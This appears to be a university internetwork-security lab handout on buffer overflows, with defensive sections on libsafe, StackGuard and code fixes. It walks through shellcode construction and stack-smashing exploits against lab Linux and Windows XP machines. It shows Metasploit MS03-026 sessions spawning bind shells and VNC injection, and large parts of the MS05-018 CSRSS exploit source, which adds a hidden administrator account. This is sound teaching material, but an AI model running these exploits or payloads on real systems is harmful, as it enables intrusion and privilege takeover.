Exploiting Buffer Overflows: A Case Study on Microsoft Windows, Lab Reports of Electrical and Electronics Engineering

Download Exploiting Buffer Overflows: A Case Study on Microsoft Windows and more Lab Reports Electrical and Electronics Engineering in PDF only on Docsity! ECE4112 Internetwork Security Lab 4: Buffer Overflows Date Issued: September 20, 2005 Due Date: September 27, 2005 Last Edited: 10/24/2005 Lab Goal This lab will introduce you to the memory stack used in computer processes and demonstrate how to overflow memory buffers in order to exploit application security flaws. You will then execute several buffer overflow attacks against your Linux and Windows XP machines in order to gain root or administrative access using application vulnerabilities. Pre-Lab The following readings are a must to understand this lab and complete it in a timely manner. 1. Carefully read the entire article Smashing the Stack for fun and profit by Aleph One. It is essential that you have a thorough understanding of this article before you attempt these attacks, and although the author’s computer system differs from ours, it will be useful as a reference during the lab. Note: Correction to the Aleph One paper – For example3.c, Aleph One says, “We can see that when calling function() the RET will be 0x8004ab. The next instruction we want to execute is the one at 0x8004bx. A little math tells us the distance is 8 bytes.” The number should be 10 bytes instead of 8 bytes. 2. Read the article at: http://www-106.ibm.com/developerworks/linux/library/l-sp4.html and answer the question: PLQ1: According to the article, what are the common problems with C/C++ which allow buffer overflows? 3. For this prelab section, you will need to use a computer which has internet access and a java enabled browser. a. Go to the website: http://nsfsecurity.pr.erau.edu/bom/ b. Scroll down to the middle of the page. c. We will be using the online demos of buffer overflow. d. Read the section on “How to use the Demo applets” before beginning. e. Complete the 4 demos below, in the order listed. Be sure to use the “step” feature and always read the helpful text in the lower left. The read-only areas in memory (top-right) have been color coded with the C functions. You will see that the stack is also color 1 coded as it starts growing (lower right) – be sure you understand the stack manipulation before and after function calls. Note: When asked for input, type in a long string and watch it erase data in the stack memory. Background Although computer programs are frequently written in English-based user-friendly languages such as C, they must be compiled to an assembly language built for the machine on which they will be executed. The assembly language has much fewer commands than C, and these commands are much less varying in structure and less obvious semantically. Commands are stored in memory so that each is referenced by its location in memory rather than its line number in the code. Commands are executed sequentially, and functions are executed by jumping to a particular memory location, continuing sequential execution, and jumping back at the end of the function. A tutorial describing conversion from C code to x86 assembly can be found at: http://linuxgazette.net/issue94/ramankutty.html When a computer process is executed, it gains access to a portion of the computer’s memory system. In the lower set of addresses of the allocated memory, the compiled assembly instruction set is placed so that the computer can execute these instructions directly from memory. This part of memory is generally flagged as read-only, and attempting to modify it results in a segmentation fault. Segmentation faults can occur for other reasons as well, such as if an invalid instruction is executed. At a higher portion of addresses, variables are allocated and stored. Whenever a process saves some data to memory (e.g. int a=4), they are placed in this region. Finally, the highest portion of addresses contains the memory stack. The stack helps coordinate the hierarchical execution of functions within applications. When a function is called, a variable known as the frame pointer is pushed onto the stack, which references the memory locations of variables local to the function. Next, since a function is executed by a jump from a different location in memory, a return address is pushed onto the stack so that the computer knows where in memory to return once the function has been completed. Finally, when a function is passed variables (e.g. myfunc(a,b,c)) these variables are also placed on the stack. Theoretically, stack manipulation should be accomplished entirely by the process, which allocates and sets pointers and variables at appropriate stages of execution, such as function calls. The key to buffer overflow attacks is to maliciously manipulate the data in the stack. By changing the return pointer, for example, it is possible for the process to jump to a memory location containing user data rather than the correct location in the instruction set. If the user data is crafted to include malicious assembly commands, such as a backdoor, these will be executed. 2 quits. Otherwise, if we were executing our code from inside data memory, the computer could continue to execute data in memory, causing a core dump or segmentation fault. We should view the assembly translation of the exit command so that we can use this to stop the execution of our shell code after the __execve call. This can be done by observing exit.c. gcc –o exit –ggdb –static exit.c gdb exit disassemble _exit In this case, the exit function is operating by pushing 0x1 to %eax and the exit code (%edx) to %ebx. Now, we must add a hex representation of the binary code to our program’s data memory so that we can execute the binary code at runtime. First, let’s observe the assembly code for our task. In separate windows, open the disassembled shellcode, the disassembled exit, and the source file shellcodeasm.c. Notice that the essential components of shellcode and exit have been placed into shellcodeasm. We have changed our error code to a static zero. Type: gcc –o shellcodeasm –g –ggdb –static shellcodeasm.c gdb shellcodeasm disassemble main to view your code. Our intentions are now to copy these assembly commands into memory so that we can have a process execute them. To do this, you must see the binary machine code representations of the assembly code. Type x/bx main to see the representation of the first line. For any other line (e.g. main+3) simply include the offset (e.g. x/bx main+3). We can now test our shell code by placing this machine code in data memory and executing it. Observe testsc.c. The machine code values determined from x/bx above have been placed in the character array shellcode. We then change the return pointer to point to the beginning of this array so that the data is executed. gcc –o testsc testsc.c ./testsc After running this, you should have access to the shell prompt $ exit This exploit worked, but because we are storing it as an array of characters, the null character (\x00) in our string could potentially cause problems. To solve this problem, we rewrite the assembly code to remove all null bytes 5 (shellcodeasm2.c). Using the same process as above, we then extract the machine code once again, this time without any null characters for our string. gcc –o shellcodeasm2 –g –ggdb shellcodeasm2.c gdb shellcodeasm2 gcc –o testsc2 testsc2.c ./testsc2 You should now have a shell $ exit Explain why it was important to make this change to eliminate NULL characters. How did we modify the assembly code to remove null characters? (What simple ways did we avoid using 0x00?) Exercise 5: Writing an Exploit Source file: exploit1.c Observe the source code for this exercise. As in the previous case, we have copied the machine code to execute a shell to the data memory. Next, we repeatedly copy the memory address of this code, overflowing the memory stack and overwriting the return address to our buffer location. gcc –o exploit1 exploit1.c ./exploit1 You should now have a shell $ exit In all of the previous examples, we have created our shell by manipulating the source code. When executing a buffer overflow attack, however, the hacker does not have access to the source code itself. We will now try to execute an attack on the program vulnerable.c. The program vulnerable can be exploited using the buffer overflows seen above. Look at the source code for this file. You can see that this application is vulnerable because it copies an input value, of arbitrary length and at the discretion of the user, to memory without any bound check. The buffer is only 512 bytes long, so the user can overflow this buffer by setting more than 512 bytes and manipulating other values, such as the return pointer. exploit2 is an attempt to gain access to a shell with root privileges by running vulnerable. The exploit will create a buffer of data that includes the binary shell code, and then contain a pointer value written many times, one of which will hopefully overwrite the return pointer. The pointer value will hopefully contain the location of the beginning of the buffer, so that the shell code will then be 6 executed. exploit2 will store this to an environment variable ($EGG) which we will then pass as input to our vulnerable program. Unfortunately, unlike in our previous examples, we do not know exactly where in memory vulernable will place our buffer. We therefore must manually set the address we wish to place into the return pointer by entering an offset: our guess as the distance from the stack pointer to our malicious code. We also must determine a size of a buffer to create to attempt to overwrite the return pointer. The buffer size created by exploit2 must be large enough to overflow the return pointer, but small enough to avoid a segmentation fault. Using the instructions below and your knowledge of buffers, attempt to use exploit2 to create a shell. If you do not receive a shell or you receive an error message, you have failed and should attempt a different buffer size and offset. If you are not successful after ten tries, record your attempted values and why you chose them, and continue with the lab. You will not lose credit for not succeeding in this exploit as long as you justify your choices for buffer sizes and offsets. ./exploit2 [buffersize][offset] ./vulnerable $EGG exit (if you succeeded in creating a shell) exit (to leave a shell that exploit2 has spawned) You may have realized that it is fairly hard to guess the correct exact offset to execute the shell code. The next variation includes a string of NOP instructions to simplify redirection. Observe the file exploit3.c. Rather than placing our shell code at the beginning of our buffer, we now fill the first half of the buffer with NOPs, or instructions that have no effect, and start our shell code halfway through the buffer. Modify your buffer size and offset, repeating until your exploit succeeds. ./exploit3 [buffersize][offset] ./vulnerable $EGG exit (if you succeeded in creating a shell) exit (to leave a shell that exploit3 has spawned) Record your successful offset and explain why this exploit was easier than exploit2. Now that you have exploited vulnerable.c, re-open the file and observe where exactly the buffer overflow has taken place. Add/change the code in the file to remove the vulnerability, then re-run “./vulnerable $EGG” 7 Before getting into the more detailed stack smashing attacks we will show a simple buffer overrun vulnerability. The source file adjacent.c (compiles to adjacent) has two adjacent buffers, storeddata and userinput, both 16 characters (or bytes) long. If you read the source file, you will notice that both buffers have their contents unconditionally set to zero. Occasionally you may encounter a dirty stack frame and your buffers will not be completely empty. The string function bzero( buffer_pointer, buffer_length) is used to clear out a buffer. The program will print out the contents of the two buffers to show you what is in them. The buffer storeddata will always contain the string "abcdefghijkl" . In the source file you will notice an explicit null character, '\0', is added to the end of the string. Without a terminating null character, most string functions will not stop at the end of the string's buffer. This is a critical piece of information. A buffer overrun occurs when a string function reads past the end of a string (or character) buffer. In this example, you will see that the program does not allow the user to input more data into storedata than the size of the array, 16. Logically it is correct. Now lets try out the "adjacent" program. 1. Enter a string of some length less than 16 (not including the newline or carriage return) by typing ./adjacent and then at the prompt enter your own string. The final print statement will show you the proper length and contents of the each buffer on the screen. Note this works just as you expect. 2. Enter a string of length exactly 16 (not including the newline or carraige return) In the final print statement, you will notice that inputbuffer is now 28 characters long. storeddata remains the same length and its contents are untouched. How can inputbuffer have 28 characters in it, it is only allowed 16? 3. enter a string of length greater than 16 (not including the newline or carriage return) In the final print statement you will notice that inputbuffer is again 28 characters long and storeddata is untouched. What is the cause of this behavior? Modify adjacent.c to remove this “undesired” behavior The Exploit Program: This program is similar to the final exploit of Section 1, but has been reformatted for legibility with comments added to it. In Section 1, we used the exploit program to overflow a relatively large buffer, so we were able to copy all of the shell code to this buffer and then copy the return address 10 afterwards to the return pointer. The exploit program does not work very small buffers, because the NOP sled or shellcode itself would overwrite the return instruction pointer. In order to target a small buffer you should instead start with the memory locations, followed by the NOP sled leading into the shellcode. Open the include file stackinfo.h, which contains a simple macro called SHOW_STACK and a function called inspect_buffer. The two combine to provide users with information about the original saved return instruction pointer and let one see if the return instruction pointer will redirect to somewhere in the NOP sled. SHOW_STACK prints:  The value of the Stack pointer register  The value of Frame pointer register and the value that the Frame pointer register points to (which is the saved frame pointer of the previous stack)  The memory location of the saved return pointer and the memory location that the saved return pointer points to. Example: Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] The function inspect_buffer takes as input the buffer containing attack code. If you don't run exploit before this function is called, you are very likely to crash the example programs because they search for the environment variable called EGG. inspect_buffer will report back to the user what memory locations contain NOPS so as to help us find if the return instruction pointer points to somewhere in the NOP sled. This may not be the case if we have not over written the return instruction pointer or have not put our buffer into the stack at a good point. Here is some sample output from inspect_buffer: Targetting range bffff775 to bffff88e [280 byte range] Stack Overwrite from bffff8c1 to bffff9d5 [280 byte range] bffff88e <= bffff898 < bffff775? 281 <= 291 < 0 The line Targetting range <lower address> to <high address>[<byte range>] reports the lower and upper memory address of the NOP sled and the range of bytes that it spans. Now we know where the NOPS are located. The line Stack Overwrite from <lower address> to <high address> [<byte range>] shows the range of address that the memory redirection address overwrites. Now we know where the desired return address values are written. We want one of these locations to be the stack return address memory so that when the stack goes to the return address memory location, it will get a value the hacker wants it to use instead of the good original value that was in that memory location. 11 The line Upper Address<= Target < Lower Address? Upper bound <= Target < 0 shows the upper and lower memory address for the NOP sled. The NOP sled high memory location is on the left, the return address that the exploit program has identified for us to use and overwrite with is in the middle, and the right hand value is the lower memory address that contains NOPS. We want the middle value to be in between the other two values. (Note that we actually want the less than signs reversed: upper address should be larger than target should be larger than lower address) If that is the case then the return instruction value points into the NOP sled as desired by the hacker. The part after the question mark has the lower address subtracted from both values to give you an idea if your return address value is within this desired range. One condition for this whole thing to work is that the return address must point to our NOP sled. A second condition that must also be met is that the return address must have been overwritten with that value. To see if we did in fact overwrite the return address we use the values from show_stack both before and after the exploit program and the actual buffer overflow have occurred. If the value of the return instruction memory location is the same both before and after, we have failed to overwrite. We need to either change the buffer size we are writing into the stack or the offset where the buffer is written into the stack. As an example of a failure: =========================== Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc [40046507] =========================== As an example of a success: =========================== Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507] Stack:bffff400, Frame:bffff608[bffffa78], Next Instruction:bffff60c[bffffa78] =========================== Task 1: Use a buffer overflow to exploit command line vulnerabilities Cmdline is very similar to the first program we observed, vulnerable. A value of arbitrary size from the command line is copied to a buffer which is only 512 bytes. Cmdline differs in that it displays a significant amount of extra information about the stack at runtime. Because the program includes new functions and function calls, the results will not be identical to that of vulnerable. The functions will, however, give extra data that will aid in the analytical selection of buffer sizes and offsets, rather than simply using trial and error. 12 =========================== Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507] Stack:bffff400, Frame:bffff608[bffff48c], Next Instruction:bffff60c[bffff48c] =========================== Inspect stack variables Targetting range bffff400 to bffff519 [280 byte range] Stack Overwrite from bffff54c to bffff660 [280 byte range] bffff519 <= bffff48c < bffff400? 281 <= 140 < 0 Note we did get the shell we were after. Do this exercise yourself, identifying a correct buffer size and offset. If the exploit runs properly, you should have access to the shell. You will not have a prompt but you will be able to do commands like ls. Typing exit will get you out of the shell and back to prompt. A second exit will get rid of the exploit process that is running Copy your output to a text file using cut and paste and turn in the successful output proving you were able to create a shell with this overflow. Modify cmdline.c to remove this vulnerability Task 2: Use buffer overflow to exploit user input vulnerabilities Observe the source code for input.c. This program, similar to adjacent, allows a user to input a set of text. You can use the exploit program to send the $EGG environment variable to input with the command: ./exploit [buffersize][offset] (echo $EGG;cat) | ./input If this exploit runs properly, you should have access to the shell at the end. Example: [root@fred lab]# ./exploit 512 900 Using address: 0xbffff6e4 [root@fred lab]# (echo $EGG;cat) | ./input Inspect environment variables Targetting range bffffc99 to bffffd80 [230 byte range] Stack Overwrite from bffffdb1 to bffffe95 [232 byte range] bffffd80 <= bffff6e4 < bffffc99? 231 <= -1461 < 0 Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507] please input a 16 character string: Inspect stack variables Targetting range bffff6d0 to bffff7b7 [230 byte range] Stack Overwrite from bffff7e8 to bffff8cc [232 byte range] bffff7b7 <= bffff6e4 < bffff6d0? 231 <= 20 < 0 Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507] Notice we did not overwrite the next instruction pointer since its value did not change before and after. Thus we need to increase the buffer size from 512 to something larger so as to overwrite it. Note however, we were successful in the exploit choice of a return address pointing to inside the NOP sled. 15 Record the buffer size and offset used to successfully exploit input. Task 3: Use buffer overflow to exploit network vulnerabilities Observe the source code for remote.c. In this application, the function gets causes information sent over the network to the application’s listening port to be copied to memory. We will use netcat to send our malicious $EGG input. Open a terminal and run: ./remote 4200 (4200 is the port on which that the remote server will be running) In a second terminal run: ./exploit [buffersize] [offset] (echo $EGG;cat) | nc localhost 4200 If this exploit runs properly, you should have access to the shell at the end (not necessarily with a prompt). You may have to change the buffer size and the offset values in the exploit call. Record your successful buffer size and offset values. Copy your output to a text file using cut and paste and turn in the output and the output of a successful run of whoami from the exploited shell prompt. Section IV – A Contemporary Vulnerability Buffer overflow vulnerabilities are extremely common in modern computing. In the final section, we will observe a vulnerability that exists in Windows 2000 Serivce Packs 0-4 and Windows XP Service Packs 0-1. The vulnerability was eventually patched in August, 2003. The vulnerability makes use of the Windows DCOM RPC service, which is run automatically with Administrator privileges on both TCP and UDP port 135. The service is designed to allow computers to request services from each other, however it does no size checking on the input buffer. Connect to Network Attached Storage, and copy the file Lab4/dcom.c to your Red Hat 7.2 machine. Compile dcom with: gcc –o dcom dcom.c Now run ./dcom to see your command line options. 16 Your target will be your Windows XP Machine. It is currently not running any service packs (SP0). Run the exploit, and if you receive a command prompt execute several commands such as dir and cd. Copy your results to a text file and include it with your report. After you exit, this exploit will cause Windows XP to crash. Take a screenshot of your crashing system and include it with your report. (Note: depending on the status of your Windows XP system, it is possible that this vulnerability will cause XP to crash immediately. If so, allow it to reboot and try again). For a very long time, this exploit could be used to install a backdoor and/or crash any Windows 2000 or Windows XP machine remotely. What steps could a system administrator take to prevent this problem? Section V – Libsafe – A Stack Buffer Overflow Preventive Measure Probably at this point, you might be thinking that the only way to prevent such stack buffer overflow attacks from happening is to just pray that the original developer properly checked his buffers in his code. Considering that in reality this is usually not the case, the idea of preventing buffer overflow exploits from happening seems hopeless. Well, actually, that is not true. There are preventive measures that are available and being developed now. Traditionally, preventive measures on Linux have come in the form of kernel patches. These patches usually monitor system calls in the operating system and try to stop unusual or suspicious system calls made by potentially malicious code. In this case, one will have to recompile the kernel properly with the patch and hope it works out. For the purposes of this lab, it would seem unreasonable to make a copy of a kernel and wait for a long time to recompile the kernel just to see a buffer overflow exploit prevented. Instead, we will use another type of preventive measure. We are going to install libsafe, a dynamically loadable library that does not require any recompilation. Connect to the Network Attached Storage, and copy the rpm package libsafe-2.0- 16.i386.rpm from the Lab4 folder to your Red Hat 7.2 machine. Now install the package by opening a terminal window and typing the following command:  rpm -ivh libsafe-2.0-16.i386.rpm There should be no problems installing this package. Now we are going to use Mozilla to take a look at the html man page on libsafe. Click on the main menu button on the bottom panel in the bottom left corner (the red fedora hat) and then highlight “Internet” and then select “Web Browser.” This should bring up the web browser Mozilla. Now click on Mozilla’s File menu and select “Open File.” Now type in /usr/doc/libsafe-2.0/doc/ in the “File Name” text box and hit enter. You should see a file called libsafe.8.html, double- 17 That is all. Remember to copy the libsafe output to a text file, and turn it in with your lab. Also, go ahead and uninstall the libsafe library by executing the following command:  rpm -e libsafe There are other utilities available which can be used for preventing buffer overflows. One such utility is Stackguard (http://www.immunix.org/gcc-2.96-113_SGb1.src.rpm) which protects your programs from buffer overflows by compiling them with compilers which take special action to protect the stack during run time. You compile your program using these compilers and depending on the programs implementation will protect the stack from stack-smashing attacks. Stackguard inserts an extra field on the stack called a “canary” next to the return pointer on the stack. It uses the canary to determine if the return pointer has been changed; if the canary is changed then the stack has been compromised and the program will stop execution. Another such tool is called the Stack Shield, which adds protection from stack overflows without changing the code. It causes the program to copy the RET address to an unoverflowable location on function beginnings and checks it with the RET address before the function returns. If the two values are different, the program crashes. Stack Shield is an assembler file processor and relies on the GCC/G++ front ends to automate compilation. It can be downloaded from http://www.angelfire.com/sk/stackshield/download.html. There are numerous tools to find flaws in code today. One of these tools is Flawfinder. Flawfinder analyzes C/C++ source files and warns of any potential problems in the code. When run on a source file flawfinder will show any gets, printf, strcpy commands and others that might cause vulnerabilities in the code. One nice feature of flawfinder is that the code need not be compiled to test it. http://www.dwheeler.com/flawfinder/flawfinder-1.26.tar.gz Section VI - Obtaining Administrator Privileges on Windows using a Buffer Overflow Attack If an attacker has a “Limited” account on: * Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4 * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2 * Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium) * Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium) * Microsoft Windows Server 2003 * Microsoft Windows Server 2003 for Itanium-based Systems * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME) 20 he/she can obtain administrator privileges by performing a buffer overflow in windows’ CSRSS which is the user-mode part of Win32 subsystem. The exploit is downloaded from: http://www.frsirt.com/exploits/20050905.MS05-018-CSRSS.c.php This exploit creates an account called “e” with Administrator’s privileges. The Password is: “asd#321”; The exploit requires you to know the Process ID of “WINLOGON.EXE”. This is done in step 4. Make sure you are running the project in a “Limited” account in order to see the exploit work. To run it: 1. Click Start > Run 2. Type cmd 3. Go to the path of the *.exe file 4. Enter tasklist. You will now see the processes that are running on your machine. Find the one that says “WINLOGON.EXE” and write down the PID, which is displayed at the bottom-left of the process window. 5. Enter the name of the file .exe which was created by Visual Studio followed by the PID copied earlier. The command line will close and trying to run it again will cause an error. Reboot your computer and login as: USERNAME: e PASSWORD: asd#321 You now have Administrator’s privileges!!! You can verify this by looking at the users on your computer (Start > Control Panel > User Accounts) and checking your privileges. It will say Computer Administrator. 21 eee “Learn About Pick a task... [B) User accounts [Bl User account types Seer (9) Smithing users 22 Notice the following: (a) The value of EIP and the address of the instruction INT 3, is the same (0040104D). This is the location where the Instruction Pointer (EIP) is, and it is pointing to the current instruction which is executing. (b) Following this instruction, at 00401054, is the instruction PUSH ECX. This pushes a pointer to the value of ARGV[1] onto the stack (c) Then there is a CALL instruction. This instruction calls the function overflow, which resides at location 00401000. To watch the execution, press F7 repeatedly to notice the following events taking place. If we proceed to step through the execution, we notice that at the instruction 00401021: F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] The stack starts filling up with 40404040… 25 Instruction that starts copying the string onto the stack from memory I str cti t t starts c i t e stri t t st c fr e r Location on the stack where the buffer beginsti t e sta r t e ffer i s The address on the stack where the debugger starts displaying the 40404040 indicates the start of the buffer we The address on the stack where the debugger starts displaying the 40404040 indicates the start of the buffer we wish to exploit. This is the address which we would have to make our return address point to. As we proceed with the execution, we notice the entire stack being overwritten with 40s. The stack now gets completely filled with 40s The debugger then returns the error : This indicates that we managed to overwrite the address with 40404040 (which is the ASCII value for @@@@) Now, we can modify this address by placing any value we want into the buffer, thus causing it to jump to the address of our choosing… To find out where the return address was stored, all we have to do is to send instead of @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, we send ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789 So, when we get the memory exception, it will tell us exactly where in our buffer the return address is to be placed for us to jump to any arbitrary location. 26 And then we look to see how we can overwrite this address to point into our stack and into our shell code. Now, we know that 6A = j, 69 = i, 68 = h, 67 = g So, in our overflow value, we can put, (in place of “ghij”), whatever value we wish and cause the program execution to jump to that location and resume execution. Thus, the format of a buffer overflow exploit would be * The JUMP will contain the address of the start of the buffer. In this case 0012FF58. Thus, we know exactly where in the buffer the Jump instruction is and where exactly we need to jump to start our shell code. Section VIII – Automated Toolkits to Write Buffer Overflow Exploits Metasploit Framework This tool was the first open-source and freely available exploit development framework, and in the year following its release, MSF rapidly grew to be one of the security community’s most popular tools. This tool reduces the time and background knowledge required to develop and run functional exploits. NOP Buffer Exploit Shell Code Jump into NOP Buffer* Jump into NOP Buffer* Jump into NOP Buffer* 27 msf > info msrpc_dcom_ms03_026 Name: Microsoft RPC DCOM MSO3-026 Class: remote Version: $Revision: 1.39 $ Target OS: win32, win2000, winnt, winxp, win2003 Keywords: dcom Privileged: Yes Provided By: H D Moore <hdm [at] metasploit.com> spoonm <ninjatools [at] hush.com> Available Targets: Windows NT SP6/2K/XP/2K3 ALL Available Options: Exploit: Name Default Description -------- ------ ------- ------------------ required RHOST The target address required RPORT 135 The target port Payload Information: Space: 998 Avoid: 7 characters | Keys: noconn tunnel bind ws2ord reverse Nop Information: SaveRegs: esp ebp | Keys: Encoder Information: | Keys: Description: This module exploits a stack overflow in the RPCSS service, this vulnerability was originally found by the Last Stage of Delirium research group and has been widely exploited ever since. This module can exploit the English versions of Windows NT 4.0 SP6, Windows 2000, Windows XP, and Windows 2003 all in one request :) References: http://www.osvdb.org/2100 http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx So the exploit we are running is a stack overflow exploit. 7) To select the exploit type in “use <exploitname>” and then see the options that are required to be provided. msf > use msrpc_dcom_ms03_026 msf msrpc_dcom_ms03_026 > show options Exploit Options 30 =============== Exploit: Name Default Description -------- ------ ------- ------------------ required RHOST The target address required RPORT 135 The target port Target: Windows NT SP6/2K/XP/2K3 ALL 8) Set all the options that are required. Set the RHOST to the ip of the Windows XP virtual machine. msf msrpc_dcom_ms03_026 > set RHOST 57.35.6.168 RHOST -> 57.35.6.168 9) The best part about metasploit is that multiple payloads can be used for the same exploit. In our previous examples we just got a shell. Further we will demonstrate other payloads. For now we will start with getting a shell as shown. msf msrpc_dcom_ms03_026 > show payloads Metasploit Framework Usable Payloads ==================================== win32_adduser Windows Execute net user /ADD win32_bind Windows Bind Shell win32_bind_dllinject Windows Bind DLL Inject win32_bind_meterpreter Windows Bind Meterpreter DLL Inject win32_bind_stg Windows Staged Bind Shell win32_bind_stg_upexec Windows Staged Bind Upload/Execute win32_bind_vncinject Windows Bind VNC Server DLL Inject win32_exec Windows Execute Command win32_passivex Windows PassiveX ActiveX Injection Payload win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload win32_passivex_stg Windows Staged PassiveX Shell win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload win32_reverse Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject win32_reverse_ord Windows Staged Reverse Ordinal Shell win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute win32_reverse_vncinject Windows Reverse VNC Server Inject msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind PAYLOAD -> win32_bind msf msrpc_dcom_ms03_026(win32_bind) > show options Exploit and Payload Options =========================== 31 Exploit: Name Default Description -------- ------ ----------- ------------------ required RHOST 57.35.6.168 The target address required RPORT 135 The target port Payload: Name Default Description -------- -------- ------- ------------------------------------------ required EXITFUNC thread Exit technique: "process", "thread", "seh" required LPORT 4444 Listening port for bind shell Target: Windows NT SP6/2K/XP/2K3 ALL Type exploit to run the exploit msf msrpc_dcom_ms03_026(win32_bind) > exploit [*] Starting Bind Handler. [*] Connected to REMACT with group ID 0x35c5 [*] Got connection from 57.35.6.166:32781 <-> 57.35.6.168:4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>exit exit [*] Exiting Bind Handler. 9) Now we will change the payload to completely control the windows box by injecting a VNC server. Use the command ‘SET PAYLOAD win32_bind_vncinject’ msf msrpc_dcom_ms03_026(win32_bind) > set PAYLOAD win32_bind_vncinject PAYLOAD -> win32_bind_vncinject msf msrpc_dcom_ms03_026(win32_bind_vncinject) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ----------- ------------------ required RHOST 57.35.6.168 The target address required RPORT 135 The target port Payload: Name Default Description -------- -------- ---------------------------------------------------- ------------------------------------------ required VNCDLL /root/Lab4/Metasploit/framework-2.4//data/vncdll.dll The full path the VNC service dll required EXITFUNC thread Exit technique: "process", "thread", "seh" required AUTOVNC 1 Automatically launch vncviewer required VNCPORT 5900 The local port to use for the VNC proxy required LPORT 4444 Listening port for bind shell Target: Windows NT SP6/2K/XP/2K3 ALL 32 { if(ptr[y] == (BYTE)'\xFF' && ptr[y+1] == (BYTE)'\xE4') { addr = (int)ptr + y; done = TRUE; printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL[i]); } } __except(EXCEPTION_EXECUTE_HANDLER) { done = TRUE; } } FreeLibrary(h); if(addr) break; } return addr; } BOOL make_shellcode(DWORD dwTargetPid) { HMODULE hKernel32; address_and_cmd aac; int i=0, j=0, size=0; hKernel32 = LoadLibrary("kernel32.dll"); if(!hKernel32) return FALSE; aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess"); aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx"); aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory"); aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread"); aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec"); aac.dw[5] = dwTargetPid; memset(aac.cmd, 0, sizeof(aac.cmd)); strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add"); //encode strcpy(sc, decoder); for(i=0;i<sizeof(add_user);i++) add_user[i]^=(BYTE)'\x97'; strcat(sc, add_user); for(i=0;i<sizeof(aac);i++) ((char *)&aac)[i]^=(BYTE)'\x97'; size=strlen(sc); memcpy(&sc[size], (char *)&aac, sizeof(aac)); size+=sizeof(aac); sc[size]='\x0'; strcat(sc, decode_end_sign); return TRUE; } void exploit(HWND hwnd, DWORD dwPid) { HANDLE hFile; LPVOID lp; int i, index; DWORD dwJMP; CONSOLE_STATE_INFO csi; memset((void *)&csi, 0, sizeof(csi)); csi.cbSize = sizeof(csi); csi.ScreenBufferSize.X = 0x0050; csi.ScreenBufferSize.Y = 0x012c; csi.WindowSize.X = 0x0050; csi.WindowSize.Y=0x0019; csi.WindowPosition.x = 0x58; csi.WindowPosition.y = 0x58; csi.FontSize.X = 0; csi.FontSize.Y=0xc; 35 csi.FontFamily = 0x36; csi.FontWeight = 0x190; for(i=0;i<0x58;i++) ((char *)csi.FaceName)[i] = '\x90'; dwJMP = search_jmpesp(); if(!dwJMP) { printf("[-] search FF E4 failed.\n"); return; } memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4); for(i=0;i<0x20;i++) strcat((char *)csi.FaceName, "\x90"); index = strlen((char *)csi.FaceName); if(!make_shellcode(dwPid)) return; memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc)); hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0); if(!hFile) { printf("[-] CreateFileMapping failed:%d\n", GetLastError()); return; } printf("[+] CreateFileMapping OK!\n"); lp = MapViewOfFile(hFile, 0x0F001F,0,0,0); if(!lp) { printf("[-] MapViewOfFile failed:%d\n", GetLastError()); return; } printf("[+] MapViewOfFile OK!\n"); //copy memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize); printf("[+] Send Exploit!\n"); SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0); } void main(int argc, char **argv) { DWORD dwRet; HWND hwnd = NULL; DWORD dwPid = 0; HANDLE hSnapshot = NULL; PROCESSENTRY32 pe; printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n" "Affect: Windows 2000 sp3/sp4 (all language)\n" "Coded by eyas <eyas at xfocus.org>\n" "http://www.xfocus.net\n\n"); if(argc==2) { dwPid = atoi(argv[1]); } else { printf("Usage: %s pid\n\n", argv[0]); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot,&pe); do { if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0) { printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile); } } 36 while(Process32Next(hSnapshot,&pe)==TRUE); CloseHandle (hSnapshot); } if(!dwPid) return; if(!FreeConsole()) printf("[-] FreeConsole failed:%d\n", GetLastError()); else { printf("[+] 